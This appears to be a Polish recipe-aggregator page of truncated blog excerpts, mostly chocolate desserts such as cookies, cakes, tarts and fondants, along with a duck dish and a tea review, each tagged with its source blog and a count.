przekładam do małej formy 21 x 21 cm, wyłożonej papierem do pieczenia. Piekę przez około 40 minut  w piekarniku nagrzanym do 170 stopni. Składniki na krem z białej czekolady : 80 ml mleka 50 g cukru waniliowego (najlepiej domowego z ziarenkami wanilii) 100 g masła 60 g białej czekolady 3/4 szklanki mleka w proszku 100 g migdałów Sposób przygotowania(...)wodnej. Masło wrzucamy do miski i ucieramy, następnie stopniowo dolewamy ostudzone mleko - stopniowo, aby masło się nie zważyło i roztopioną w kąpieli wodnej lub w mikrofali i ostudzoną biała czekoladę Do tak przygotowanej masy wsypujemy mleko w proszku i miksujemy do momentu uzyskania jednolitej konsystencji. Gotową masę wstawiamy do lodówki na około godzinę. Po tym czasie krem wykorzystujemy do przełożenia

Słodkie Przyjemności
Ciasteczka dyniowe 142

Jesienią czas na ciasteczka! takie na jeden raz, z czekoladą i ... dynią? Tak! Koniecznie :) Jedliście kiedyś takie małe żółte cudeńka? Swój niepowtarzalny smak i  kolor zawdzięczają oczywiście dyni, której o tej porze roku po prostu zabraknąć nie może. Lubię eksperymenty, a w związku z tym, że zostało mi trochę dyni, postanowiłam, że przygotuję jakieś ciasteczka z jej dodatkiem. Bałam(...)jesienne. Śmiało, częstujcie się :) Składniki : 200 g masła 150 g cukru 200 g musu z dyni 400 g mąki 1/2 łyżeczki proszku do pieczenia łyżeczka ekstraktu cynamonowego 100 g czekolady Sposób przygotowania: Do miski wrzucamy miękkie masło dodajemy cukier i ucieramy. Gdy masa się połączy dodajemy jajka i ponownie miksujemy. Dynię obieramy i kroimy na małe kawałki – wrzucamy do rondelka

Słodkie Przyjemności
Tartaletki z orzechowym nadzieniem z białej czekolady 179

smakiem, zgadza się? Dziś coś dla tych, którzy nie mają czasu na zbyt długie przesiadywanie w kuchni. Przepis dla zabieganych. Tartaletki z kruchego ciasta z orzechowym nadzieniem z białej czekolady. Warto się skusić i sięgnąć o jedną (albo pięć) :) Składniki : Przepis na 12 szt. 30 g orzechów laskowych 20 g orzechów włoskich 120 g śmietanki 30% 100 g białej czekolady(...)Foremki wstawiamy do nagrzanego do 180`C piekarnika i pieczemy około 12-15 minut – do zarumienienia. W tym czasie do rondelka wlewamy śmietankę, dodajemy pokruszoną na małe kawałki białą czekoladę i cukier. Chwilę gotujemy, do momentu całkowitego połączenia się składników. Orzechy łuskamy i drobno kroimy, a następnie wsypujemy do masy czekoladowej. Gotową masą wypełniamy upieczony spody tartaletek. Odstawiamy do całkowitego

Słodkie Przyjemności
Pierniczki czekoladowe 131

totalny klasyk, jednak aby trochę urozmaicić tradycję pomyślałam o stworzeniu wariacji czekoladowej. I uwierzcie mi. Efekt przeszedł moje najśmielsze oczekiwania! Ciasteczka są baaaardzo czekoladowe (za sprawą dobrej jakości gorzkiej czekolady) korzenne i kruche. Najlepiej je zrobić co najmniej tydzień przed świętami aby lekko namiękły (choć maczane w herbacie nadają się do jedzenia od razu). Gotowe nadają się idealnie do dekoracji(...)gdyż w trakcie pieczenia nie zmieniają kształtu. Zapraszam po przepis i życzę udanych wypieków! Składniki: 220 g miodu tabliczka gorzkiej czekolady (minimum 70% kakao) 80 g cukru pudru  kostka dobrej jakości masła 600 g mąki 70 g kakao 1/2 łyżeczki proszku do pieczenia szczypta soli łyżeczka cynamonu pół łyżeczki kardamonu pół łyżeczki imbiru łyżka ekstraktu pomarańczowego 2 jaja szczypta

Słodkie Przyjemności
Fondant czekoladowy z wanilią i nutą chilli. 157

coś podać. Postanowiłem, że zrobię drugi raz w życiu fondanty czekoladowe. Za pierwszym razem wyszły niemal w punkt; czas pokaże co będzie tym razem. Działamy - dwie 100g gorzkie czekolady min. 70% - 50g mlecznej czekolady - 0,5 szklanki mąki tortowej przesianej x2 - laska wanilii - starta skórka świeżej pomarańczy, lub dla odważnych, maleńka szczypta chilli - 3 całe jaja - 2 żółtka - szklanka cukru(...)pudru - gorzkie kakao - 140g masła - mięta świeża - truskawki Przygotowujemy 6 kokilek. Smarujemy je masłem i oporuszamy dokładnie kakao. Wstawiamy je do lodówki. Masło z pokruszoną czekoladą topimy w wysokim garnku i dodajemy ziaren wanilii. Odstawiamy. Ubijamy wszystkie jajka na gładko i powoli dodajemy cukier cały czas ubijając. Przekładamy masę jajeczną do większego najlepiej szklanego naczynia, dodajemy schłodzoną masę czekoladową delikatnie

BaRepas
Francuska kaczka w pomarańczach z sosem czekoladowym z porzeczkami. 146

trudno, lubię kaczkę i jeszcze przed świętami ją kupiłem, zamroziłem i teraz ją zjem! Powiecie, że mono-tematycznie? Przełknę ze smakiem ;D Działamy: -kacze udka -dwie pomarańcze -majeranek -gorzka czekolada -porzeczki czerwone, czarne suszone, kandyzowane, lub świeże mrożone -małe jabłko -imbir -sól, pieprz -oliwa -sok z cytryny -woda gazowana -masło -gorzka czekolada -czosnek Kaczkę nacieramy marynatą z oliwy, soli, pieprzu(...)podlewamy jeszcze odrobiną wody gazowanej. W rondelku karmelizujemy dwie łyżki cukru brązowego, dodajemy sok z cytryny, porzeczki, wlewamy zredukowany płyn z patelni z całą zawartością. Dodajemy dwa paski gorzkiej czekolady. Łączymy. Próbujemy, odlatujemy. Surówka. Zielony poszatkowany ogórek, mix sałat, skrapiamy octem z cydru, olejem rzepakowym, solimy i pieprzymy

BaRepas
Sernik z bezą 113

kandyzowanej mieszanki skórek lub kandyzowanej skórki pomarańczowej * kilka kropli olejku waniliowego beza * 3 białka * 20 dag cukru pudru * 5 dag wiórków kokosowych polewa czekoladowa * 10 dag mlecznej czekolady * 5 dag gorzkiej czekolady * 1 i 1/2 łyżki oleju Sposób wykonania Żółtka utrzeć z cukrem i masłem do białości. Powstałą masę wymieszać z serem (można mikserem), dodać ubitą pianę z białek(...)zrezygnować, ale wtedy trzeba nieco wydłużyć czas pieczenia samego sernika, aż będzie z wierzchu złotobrązowy) Studzić w piekarniku przy lekko uchylonych drzwiczkach. Wystudzony sernik wyjąć z formy i polać czekoladą rozpuszczoną w kąpieli wodnej i wymieszaną z 1 i 1/2 łyżki oleju. Dowolnie udekorować

Mix smaku
Rolada z masą makową 113

jajka * 10 dag cukru * 1 cukier wanilinowy * 7 łyżek maki ziemniaczanej * 7 łyżek mąki pszennej * 1 łyżeczka proszku do pieczenia * 1 puszka gotowej masy makowej * 12,5 dag czekolady mlecznej lub deserowej * 6 dag cukru pudru * 15 dag masła lub margaryny Sposób wykonania Białka ubić na sztywną pianę ze szczyptą soli. Nie przerywając ubijania dospać cukier i cukier wanilinowy.Następnie(...)stopni ok. 12 min. Gorący biszkopt natychmiast wyłożyć na wilgotną oprószoną cukrem ściereczkę.Oderwać papier, ciasto zwinąć i pozostawić do ostygnięcia. Zimne ciasto rozwinąć, posmarować masą makową i zwinąć. Czekoladę połamać na kawałki i stopić w kąpieli wodnej. Masło zmiksować na puszystą masę i małymi partiami dodawać cukier puder.Następnie stopniowo dolewać przestudzoną czekoladę i dokładnie utrzeć. Roladę po wierzchu

Mix smaku
Blondies 141

ciemnego cukru (to on nadaje tego cudownego, krówkowo - karmelowego posmaku) szczypta soli 2 jajka - lekko roztrzepane 280 g mąki 1 czubata łyżeczka proszku do pieczenia 200 g białej czekolady połamanej w drobne kawałki Opcjonalnie: kwaśne owoce lub dżem Rozgrzewamy piekarnik do 180 stopni C. Przygotowujemy tortownicę. Masło rozpuszczamy z cukrem i solą ciągle mieszając. Ważne, żeby ciągle mieszać. Nie dopuszczamy(...)szybko mieszamy, żeby nie zrobiły się grudki. W osobnej misce mieszamy ze sobą mąkę i proszek do pieczenia. Po trochu dodajemy masę maślano-jajeczną. Do masy dodajemy pokruszoną białą czekoladę. Przekładamy do formy i albo robimy kilka esów-floresów z kwaśnego dżemu albo wtykamy kwaśne owoce. Pieczemy ok 45 minut. Na wierzchu robi się pyszna skorupka. Najlepiej smakuje z filiżanką

Kulinarna rozmowa
Dyniowe ciasteczka wypełnione dobrocią 159

masła klarowanego ok.pół szklanki miodu 1/3 szklanki cukru 1 i 1/2 szklanki puree z dyni (upieczonego miąższu dyni) 1 jajo 5 łyżek żurawiny (suszonej lub świeżej) pół tabliczki czekolady mlecznej pokrojonej w kosteczkę 3 łyżki płatków owsianych 2 łyżki wiórków kokosowych *Możecie również przyrządzić podstawowe ciasteczka dyniowe, nie dodając żurawiny, czekolady, płatków owsianych i wiórków. Przygotowanie: Rozgrzej piekarnik(...)gałkę w misce. W rondelku rozpuść masło, wymieszaj z miodem, cukrem, puree i wbij jajko. Wszystko dobrze wymieszaj.  Wsyp suche składniki do mokrych, wymieszaj. Dodaj do masy żurawinę, czekoladę, płatki owsiane i wiórki. Wymieszaj. Nakładaj łyżką na papier do pieczenia, lekko rozgniataj. Piecz ok. 30 minut, aż patyczek włożony w środek ciasteczka będzie czysty.  Ciasteczka po upieczeniu powinny

Gotowanie to kochanie
Ciasteczka mocno kakaowe z M&M's i...śnieg! 107

końcu mogli nacieszyć się wszystkimi wnuczkami. W dzień wyjazdu wstałam raniutko i przyrządziłam moje ulubione ciasteczka, mocno kakaowe. Część zrobiłam z piankami ( z tego przepisu ), zamiast zwykłej czekolady użyłam jednak takiej z piernikowo-śliwkowym nadzieniem i okazało się to strzałem w dziesiątkę! Część zrobiłam z M&M'sami i cieszyłam się jak dziecko, kiedy natrafiłam na jednego lub kilka(...)razem, pałaszując ciasteczko. To chyba najlepsze ciastka kakaowe, jakie istnieją. Wielkie, baaardzo mocno kakaowe, z nutą czekolady, która rozpływa się w ustach... Już jedno ciasteczko zaspokaja nawet największy głód słodyczy. Jadąc do Dziadków zawsze staram się przywieźć coś upichconego i później wymieniam się przepisami i uwagami z moim Dziadkiem, który, nie tylko według mnie, jest najlepszym kucharzem świata. Tym razem

Gotowanie to kochanie
Eklery z kremem orzechowym 220

większość z nas je lubi. Można nadziewać je serkiem mascarpone, kremem budyniowym lub klasycznie bitą śmietaną. Moje eklerki przełożyłam kremem budyniowym z orzechami włoskimi i polałam roztopioną czekoladą. Pycha Składniki: Ciasto parzone: 4 jajka 1 szklanka mąki 1 szklanka wody 125 g margaryny Palma „Bielmar” mała szczypta soli Krem orzechowy: 2 i 1/2 szklanki mleka 1/2 szklanki cukru(...)szklanki mąki 125 g masła 4 żółtka 1 łyżka miodu 1 szklanka orzechów włoskich Polewa czekoladowa: 100 g czekolady mlecznej 30 g masła 2 łyżki posiekanych orzechów włoskich Przygotowanie: Ciasto parzone: Zagotować wodę z margaryną i szczyptą soli. Ustawić ogień na najmniejszy, wsypać mąkę i energicznie mieszać, aż składniki się połączą. Ostudzić. Następnie dodać jajka i wszystko dokładnie połączyć. Masę

Oryginalny smak
PIJAK / CYCKI MURZYNKI 1377

domu kultury. Pomagałam razem z nią … oblizując miskę po brzegi. Delikatny makowy biszkopt pokryty budyniowo-maślanym kremem śmietankowym oraz biszkoptami namoczonymi w alkoholu. Wszystko to oblane pyszną mleczną czekoladą i obsypane dużą ilością prażonego kokosu. Niebo w gębie! Gwarantuję , że każdy z przyjemnością sięgnie po dokładkę! Polecam! SKŁADNIKI: ( mała blacha – ok. 22 x 26 cm ) SPÓD: - białka(...)łyżki - mąka pszenna – 3 łyżki - cukier puder – 3 łyżki - masło – 250 g WIERZCH: - wódka – ok . 200 ml - okrągłe biszkopty – 1,5 op - czekolada – 100 g SPOSÓB PRZYRZĄDZENIA: SPÓD: Białka ubijamy na sztywną pianę,dodajemy cukier, kokos i mak, dokładnie, ale delikatnie mieszamy. Wkładamy do nagrzanego do 160C piekarnika na ok.25 minut. MASA: Do połowy

Ostra na Słodko
Herbaty ze sklepu Richmont - testujemy i smakujemy :-) 170

owocowa mieszanka, która totalnie zawrócił mi w głowie i do której na pewno chciałabym wrócić w przyszłości. 2. Herbata Black Chili Chocolate - "połączenie doskonałych czarnych herbat z głębokim akcentem czekolady i chili"  Kawa z czekoladą i chili - owszem, ale herbata ? Tak myślałam sobie o niej jeszcze przed jej zaparzeniem. Po pierwszym łyku zmieniłam zdanie. Chili delikatnie i przyjemnie piecze(...)język, trwa to dosłownie kilka sekund a czekoladowy posmak pozostaje w ustach jeszcze długo po odstawieniu szklanki i zmusza do myślenia: jaka to czekolada? Biała? Mleczna? Fantastyczne doznania. :-) Idealna, rozgrzewająca herbata na zimowe wieczory. 3. Herbata Mexican Dream - "efektowna kompozycja owoców, hibiskusa, płatków dzikiej róży i korzennych przypraw" Spróbowałam ją w jeden z przedświątecznych wieczorów. Choinka, zapach pieczonego ciasta

Szefowa kuchni
Brazylijski krem z sosem z śliwek suszonych 131

przepyszny deser. Składniki na 1 porcję (ale duuuużą): Składniki na krem: - 200 ml mleka kokosowego - 100 ml wody - 3 łyżki skrobii kukurydzianej - 3 łyżki cukru - szczypta soli - 1 łyżka czekolady w proszku Przygotowanie kremu:  Wlewamy wszystko do rondelka i stawiamy na niskim ogniu. Gotujemy (bez przykrycia) 15 - 20 minut, mieszając drewnianą łyżką. Ponieważ my używamy kuchenki indukcyjnej, oczywiście czas(...)już gęsta, troszkę jak budyń. Połowę kremu przekładamy do szklanej miseczki lub szerokiej szklanki. Możemy odstawić do lodówki by wystygł. Drugą połowę zostawiamy jeszcze na ogniu i dodajemy  czekoladę w proszku. Mieszamy 2 minuty, aż czekolada się rozpuści. Wykładamy z lodówki miseczkę i na białą część kremu teraz nakładamy część czekoladową. Składniki na sos z suszonych śliwek

Smaki Brazylii
Orzechowa trufla z awokado 142

ziarenka wanilii - 2 łyżeczki kakao - 3 łyżeczki nutelli - 1 łyżeczka cukru pudru - kilka kropli aromatu kawowego - sok z limonki - posiekane lub grubo zmielone orzechy do obtoczenia awokado - 50g rozpuszczonej czekolady (min. 70%) GIF Orzechy dokładnie zmieliłam w blenderze. Wyjęłam, włożyłam masło, cukier i ziarenka wanilii. Utarłam, dodałam orzechy, kakao i aromat kawowy. Wymieszałam w blenderze. Awokado umyłam, przekroiłam i wyjęłam(...)dokładnie musem orzechowym i „otuliłam orzechami”. Ponownie zawinęłam w folię i włożyłam na 1 godzinę do lodówki. Po wyjęciu, na wierzchu zrobiłam pajęczynkę z rozpuszczonej (w mikrofali) czekolady. Zawsze uważałam, że awokado „lubi” najbardziej takie zestawienie – olej sezamowy – sok z cytryny – sos sojowy. Do tego zestawu dodam drugi – mus orzechowy z czekoladą

mojewypiekiinietylko
Rolada kokosowa 149

łyżki cukru pudru - 3 łyżki mleka kokosowego - 2 łyżki rumu (lub 1-2 łyżki soku z cytryny) - extract waniliowy - skórka pomarańczowa - 375 g krojonych suszonych moreli Polewa czekoladowa: - 200g czekolady - 3 łyżki słodkiej śmietanki Herbatniki zmieliłam w blenderze. Wsypałam przez sitko kakao, cukier puder – wymieszałam. Masło rozpuściłam w rondelku, dodałam mleko kokosowe, podgrzałam. Gorące mleko z masłem wlałam(...)papier do pieczenia (można w folię spożywczą lub aluminiową) i wstawiłam na 2 godziny do lodówki. Po wyjęciu z lodówki, gdy rolada już stężała, oblałam ją polewą z czekolady (w mikrofali rozpuściłam czekoladę ze śmietanką). Smak masy i dodatki można modyfikować według uznania. Moim zdaniem najlepsza jest z dodatkiem rumu, wanilii, moreli i skórki pomarańczowej, ale… kierujmy się swoimi

mojewypiekiinietylko
Wegański makowiec p. Angeliki oraz Moniki – danie konkursowe 198

roślinnego (sojowy, ryżowy lub migdałowy) 1 duże jabłko (starte lub pokrojone w kosteczkę) 2 łyżki zmielonego siemienia lnianego 5 łyżek ksylitolu 50g daktyli (pokrojonych na mniejsze kawałki) 50g gorzkiej czekolady (lub mlecznej) 50g żurawiny, rodzynek, owoców goji olejek migdałowy lub pomarańczowy garść płatków migdałowych listonic_name = "Wegański makowiec (z coolinarnie.pl)"; listonic_theme = "addToShoppingList1"; listonic_content = "100g mąki owsianej bezglutenowej(...)roślinnego (sojowy, ryżowy lub migdałowy) 1 duże jabłko (starte lub pokrojone w kosteczkę) 2 łyżki zmielonego siemienia lnianego 5 łyżek ksylitolu 50g daktyli (pokrojonych na mniejsze kawałki) 50g gorzkiej czekolady (lub mlecznej) 50g żurawiny, rodzynek, owoców goji olejek migdałowy lub pomarańczowy garść płatków migdałowych " document.write(" "); Sposób przygotowania Krok 1 Mak zalać wodą i mlekiem. Gotować kilka minut ciągle mieszając. Dodać

CoolinarniePL
Maxi King Ciasto bez pieczenia 29558

herbatników 1 puszka gotowej masy krówkowej (510g) Masa mleczna: 300g kostki masła 1 szklanka zwykłego mleka 3/4 szklanki cukru 32g cukru waniliowego 500 g mleka w proszku Polewa: 1 czekolada mleczna 1 czekolada gorzka 140 g orzeszków ziemnych niesolonych 1/3 szklanki śmietany kremówki *szklanka = 250ml Maxi King Ciasto bez pieczenia – Wykonanie: Orzeszki posiekać i podprażyć na suchej patelni. Blachę(...)nieschłodzona. Połowę masy mlecznej wyłożyć na herbatniki i przykryć kolejną warstwą herbatników. Masę krówkową podgrzać, rozprowadzić ją na herbatnikach. Następnie posmarować pozostałą masą mleczną. Wyłożyć kolejną warstwę herbatników. Obie czekolady roztopić w rondelku wraz ze śmietaną kremówką. Kiedy się rozpuszczą, dodać orzeszki, wymieszać i polać wierzch ciasta. Całość schłodzić w lodówce (minimum 3 godziny). Smacznego! The post Maxi King Ciasto

Kulinarne Przeboje
Świąteczny piernik po świętach 240

piernika 10 g cynamonu szczypta mielonego pieprzu czarnego ciasto 5 białek 150 g cukru 70 g mąki 1 łyżeczka proszku do pieczenia zaprawa do piernika 50 g gorzkie czekolady 100 g powideł 100 g bakalii (migdały, śliwki suszone, orzechy włoskie)  Wykonanie: Wszystkie składniki zaprawy piernikowej umieścić w garnku z grubym dnem i gotować około 5 minut. Wszystkie składniki muszą(...)upieczeniu piernik pozostawiamy do całkowitego wystygnięcia, a następnie przecinamy go wzdłuż na dwie części. Jedną część posmarować powidłami i przykryć drugim blatem piernika.  W kąpieli wodnej rozpuszczamy czekoladę i smarujemy nią wierzch piernika. Na jeszcze świeżą czekoladę posypujemy resztę posiekanych bakalii (orzechy i migdały

Przysmaki Karolki
"Żurawinki" - domowe cukiereczki 157

Składniki: 125 g czekolady deserowej grudka masła 100 g herbatników spora garść żurawiny łyżka kremówki 2 łyżki likieru kokosowego Polewa: (wykonać jak tą mleczna polewa:  Polewa mleczna 100 g mlecznej 6 łyżek kremówki 17 żurawinek do dekoracji Wykonanie: Herbatniki zemleć w blenderze na pył. Żurawinę pokroić na mniejsze kawałki Czekoladę deserową rozpuścić z masłem na parze, zdjąć dać likier(...)Żurawinę wymieszać z herbatnikami. Dać rozpuszczoną czekoladę. Zagnieść i formować cukiereczki. Cukierki obtaczać Dekorować żurawiną. Smacznego. 2 dzień świąt można z czystym sercem zapisać do białych i zimowych :D Chociaż, ostatni, ale zawsze to coś

Moje pyszne gotowanie
TORT MAKOWO - POMARAŃCZOWY 203

dodając pod koniec cukier puder, śmietan-fixy oraz skórkę z pomarańczy. Delikatnym strumieniem, ciągle mieszając, wlewam sok z pomarańczy. Smaruję powstałym kremem wierzch i boki tortu. wykończenie: 50g startej czekolady deserowej róże z czekolady Posypuję wierzch startą czekoladą. Po środku umieszczam róże czekoladowe. Chowam do lodówki na 2h, aby kemy zesztywniały. Kroję ostrym nożem zwilżonym ciepłą wodą, aby kremy

W kuchni Karmel-itki
Sezamkowa babka z nutą wanilii i gryki 218

zaczynajmy! Czas przygotowania: ok 70 minut Na keksówkę o wymiarach 12x35cm i głebokości 8cm Składniki: Polewa:  Pół kostki margaryny Bielmar PALMA 4 łyżki pasty tahini pół tabliczki czekolady białej 2 łyżki gryczanego miodu Ciasto: 1 szklanka mleka 1 laska wanilii 1 szklanka mąki pszennej tortowej 0,5 szklanki mąki gryczanej niepalonej 2/3 szklanki cukru 2 łyżki miodu gryczanego(...)proszku do pieczenia 4 jajka 100 ml śmietanki kremówki 30%tł pół kostki margaryny Bielmar PALMA kilkanaście rodzynek typu jumbo Przygotowanie: 1/ Najpierw przygotowujemy polewę: w garnku umieszczamy białą czekoladę i margarynę, do innego większego garnka wlewamy wrzątek i nakładamy na niego garne z czekoladą i margaryną. Czekamy aż składniki się rozpuszczą a następnie dodajemy tahini i miód. Odkładamy

Kuchnia PROzdrowotna
Klasyczny Sernik z czekoladową polewą 231

łyżki czubate kaszy manny - szklanka rodzynek wyparzonych i namoczonych w rumie  - sok z jednej pomarańczy  - skórka z umytej i wyparzonej cytryny Na polewę czekoladową: - 100 g czekolady deserowej - 100 g czekolady mlecznej - 100 g masła - 2 łyżki mleka Masło i cukier ubij na puszystą masę. Żółtka oddziel od białek. Kolejno, ciągle ubijając dodaj pojedynczo żółtka, kaszę mannę, mąkę(...)sernik w nim pozostaw do ostygnięcia, uchylając lekko drzwiczki. Gdy przestygnie oblej go gorącą polewą czekoladową, poczekaj do jutra i wsuwaj. POLEWA:   W kąpieli wodnej rozpuść masło i czekoladę, dodaj mleko, wymieszaj. NIE GOTUJ ! polej ciasto, będziesz zachwycony/a. SMACZNEGO. CMOK

Pasje Jolki
Rolada z kremem i dżemem 123

krem o smaku kakao w 5 minut 200 ml zimnego mleka do kremu 100 g masła lub margaryny do kremu dżem u mnie własnej roboty malinowo - porzeczkowy tabliczka gorzkiej czekolady - do polewy 50 ml mleka do polewy z czekolady dowolne owoce u mnie porzeczki opis biszkoptu: Białka ubić ze szczyptą soli mikserem, żółtka wymieszać z octem i proszkiem do pieczenia(...)ręcznika i ściągamy papier do pieczenia, smarujemy dżemem a potem kremem i znowu zwijamy w ręczniku w roladę. Ciasto wstawiamy do lodówki na minimum godzinę. W tym czasie rozpuszczamy czekoladę z dodatkiem mleka w kąpieli wodnej i smarujemy pędzelkiem wierzch ciasta a do polewy przyklejamy owoce. Całość wstawiamy do lodówki do ostygnięcia polewy. upieczony biszkopt biszkopt zawijamy w ręcznik biszkopt

Bon Appetit Małgorzaty
Ciasto łaciate 230

pszennej) 1 łyżka stołowa mąki ziemniaczanej Składniki na krem: 700 ml mleka 2 budynie śmietankowe z cukrem 20 dag masła 2 puszki masy krówkowej 2-3 łyżki masła biała czekolada Biszkopt: białka ubić ze szczyptą soli mikserem,następnie stopniowo dodajemy cukier. żółtka wymieszać z octem i proszkiem do pieczenia albo sodą i zaczekać aż pojawi się piana (5 min),następnie(...)spód biszkoptu a następnie przykryć go drugim płatem biszkoptu. Polewa: drugą puszkę masy krówkowej miksujemy z 2-3 łyżkami masła i taką masą smarujemy wierzch ciasta. Następnie roztapiamy białą czekoladę w kąpieli wodnej i na wierzch ciasta wylewamy czekoladę w formie kleksów / krókowych łat :). Ciasto wstawiamy do lodówki na parę godzin a potem zajadamy się nim. ciasto łaciate

Bon Appetit Małgorzaty
Chlebek bananowo-orzechowy z karmelizowanymi pomarańczami 113

szczypta soli tarta skórka ze świeżej 1 pomarańczy  garść rodzynek 10 posiekanych orzechów włoskich 1 czubata łyżka cappuccino 1 łyżeczka cynamonu (albo przyprawy do piernika) Polewa: 1 gorzka czekolada 50 ml mleka 2 łyżki miodu 4 łyżki cukru 3 łyżki masłą 50 ml rumu 1 cała pomarańcza 1 opakowanie posypki z orzechów laskowych Ciasto:Banany obrać, rozgnieść w misce(...)łyżką.  Ciasto piec w formie do keksówki wyłożoną papierem do pieczenia w piekarniku w 180 stopniach do 60 minut. Na bieżąco sprawdzać patyczkiem. Polewa: W kąpieli wodnej roztapiamy czekoladę z dodatkiem odrobiny mleka. Na patelni rozpuszczamy masło, dodajemy cukier oraz miód, wkładamy plastry pomarańczy ze skórką, wlewamy rum i smażymy około 10 minut do momentu skrystalizowania się cukru. Wystudzone

Bon Appetit Małgorzaty
Tort orzechowo-czekoladowo-rumowy i półrocze bloga! 239

łyżeczki proszku do pieczenia  50 ml rumu  50 ml wody  szczypta soli  pół łyżeczki octu  Składniki na krem:  4 tabliczki dobrej gorzkiej czekolady  1 łyżka rozpuszczalnej kawy  3/4 szklanki śmietanki kremówki  20 dag masła - miękkiego  50 ml rumu  dodatkowo:  150 ml marmolady morelowej  orzechy do dekoracji(...)mieszamy drewniana łyżką. Wlewamy ciasto do tortownicy wyłożonej papierem do pieczenia i pieczemy około 25 minut w 180 stopniach.  Krem: miękkie masło miksujemy. W kąpieli wodnej rozpuszczamy czekolady z dodatkiem kremówki. na koniec dodajemy rozpuszczalna kawę i mieszamy. Płynną czekoladę studzimy po czym dodajemy do masła ciągle miksując. Na koniec dodajemy rum. Mniam :) Gotowy krem wkładamy na 30 minut

Bon Appetit Małgorzaty
Fondant au chocolat, czyli ciastko - LAWA 271

jest inny i czasem trzeba zrobić kilka prób. Ale jak wyczujecie ile czasu powinno się piec na pewno się uda :) Składniki:  6 dag masła  1/2 tabliczki gorzkiej czekolady (następnym razem dałabym 3/4 tabliczki albo  dodałabym łyżeczkę kakao)  1/2 szklanki cukru pudru  2 jajka + 1 żółtko   3 łyżki mąki tortowej, przesianej Czekoladę i masło(...)rozpuszczamy w kąpieli wodnej. Pamiętajmy by salaterka nie dotykała wrzącej wody. Dwa jajka i dodatkowe żółtko ucieramy mikserem z cukrem. Do żółtek wlewamy bardzo wolno czekoladę i wsypujemy przesianą mąkę, delikatnie mieszamy i przelewamy do wysmarowanych masłem kokilek. Moje foremki miały 8 cm średnicy. Piekłam w 190 stopniach z termoobiegiem 11 minut. Następną porcję piekłam 9 minut i było zbyt

Bon Appetit Małgorzaty
Mazurek na andrucie (dla leniwych) 160

jednak prosty w wykonaniu, ponieważ zrobiony jest na waflach :) Składniki: 2 opakowania prostokątnych wafli 2 puszki masy krówkowej (u mnie jedna kakaowa i jedna orzechowa) 1,5 tabliczki gorzkiej czekolady słoiczek kwaśnych powideł (u mnie domowe z czarnej porzeczki) bakalie (suszone morele, orzechy włoskie, żurawina, płatki migdałowe, kandyzowana skórka pomarańczowa) 2 łyżki masła 2 łyżki śmietanki kremówki Wafle(...)smarujemy na przemian masą kajmakową oraz powidłami. Następnie czekoladę rozpuszczamy w kąpieli wodnej z dodatkiem śmietanki i masła. Pamiętajmy, że miseczka nie może dotykać wrzątku. Polewamy czekoladą wafle, następnie posypujemy bakaliami. mazurek na andrucie

Bon Appetit Małgorzaty
Ciasto mleczna kanapka, mmmmmm :) 501

pieczenia na krem: 300 g masła  2 szklanki mleka w proszku (niebieskie opakowanie ) 2/3 szklanki cukru 1 opakowanie cukru waniliowego  1/2 szklanki mleka na polewę: 1 tabliczka czekolady mlecznej lub gorzkiej 2 łyżki masła 2 łyżki śmietanki kremówki Białka ubijamy na sztywną pianę z dodatkiem szczypty soli. Później dodajemy cukier, następnie żółtka, cały czas(...)zagotowujemy z cukrami i następnie studzimy. Masło ucieramy, dodajemy do niego chłodne już mleko, dalej ucieramy. Na końcu wsypujemy mleko w proszku i miksujemy na gładką masę. Czekoladę z masłem i śmietanką rozpuszczamy w kąpieli wodnej (tak by salaterka nie dotykała wrzątku).  Ostudzony biszkopt przekrawamy wzdłuż i przekładamy mlecznym kremem. Na końcu polewamy

Bon Appetit Małgorzaty
Ciasto z serków kanapkowych (Ostrowia) 357

serków ostrowia. Następnym razem zrobię z nich deser. Love :D  Składniki na krem: 4 serki ostrowia (po 120 g) 300 g śmietany 18 % 4 śnieżki 1 tabliczka gorzkiej czekolady Składniki  na biszkopt: 6 jajek szczypta soli 1/2 szklanki mąki ziemniaczanej 1/2 szklanki mąki pszennej 3 łyżki dobrego kakao 2 łyżki oleju 3/4 szklanki białego cukru 1 łyżeczka proszku(...)iasto pieczemy ok. 25-30 min w 180 stopniach C. Biszkopt studzimy: Krem: Serki miksujemy ze śnieżkami następnie dodajemy śmietanę.   Finał: Krem wylewamy na biszkopt. Dekorujemy wiórkami czekolady. (Czekolada lepiej się ściera na tarce jak jest zimna z lodówki) :) ciasto z kremem z serków ostrowia

Bon Appetit Małgorzaty
Ciasto na orzechowym biszkopcie i pożegnanie z drzewem.... 161

łyżeczki proszku do pieczenia 2 czubate łyżki kakao   50 ml wody  szczypta soli  pół łyżeczki octu  Składniki na krem:  3 tabliczki dobrej gorzkiej czekolady  1 łyżka rozpuszczalnej kawy  3/4 szklanki śmietanki kremówki  20 dag masła - miękkiego  dodatkowo:  pół szklanki mielonych orzechów włoskich Biszkopt: białka ubić ze szczyptą soli mikserem, dodając(...)pieczemy około 30 minut w 180 stopniach. Następnie biszkopt studzimy a potem przekrawamy wzdłuż na 2 płaty. Blacha 30x40 cm Krem: Miękkie masło miksujemy. W kąpieli wodnej rozpuszczamy czekolady dodając po 2 łyżki kremówki (aż do zużycia całości). Na koniec dodajemy rozpuszczalna kawę i mieszamy. Płynną czekoladę studzimy po czym dodajemy do masła ciągle miksując.  Finał:  Na pierwszy

Bon Appetit Małgorzaty
Wyśniłam GO sobie... Fiołkowy mazurek. 135

ciasto: 200 g mąki 140 g zimnego masła 70 g cukru  1 jajko + 1 żółtko  Składniki na polewę: 5 łyżek dżemu z jeżyn - (opcjonalnie malinowy) 3 tabliczki czekolady białej 150 ml śmietanki kremówki 2 łyżki masła 1 garść fiołków  Kruche ciasto: Zagniatamy składniki na kruche ciasto, zawijamy w folie spożywczą i odkładamy na pół godziny do lodówki(...)pieczemy spody przez 10 minut, następnie zmniejszamy temperaturę do 160 stopni C i pieczemy przez kolejne 10 minut, aż ciasto uzyska złoty kolor. Odstawiamy do wystygnięcia. Krem: połamaną czekoladę rozpuszczamy w kąpieli wodnej, dodajemy śmietankę i masło.Mieszamy, aż czekolada się roztopi i połączy ze śmietanką. Następnie dodajemy dżem jeżynowy albo malinowy. Gotową masę wylewamy na spody. Mazurek pozostawiamy

Bon Appetit Małgorzaty
Kawa piernikowo-czekoladowa 110

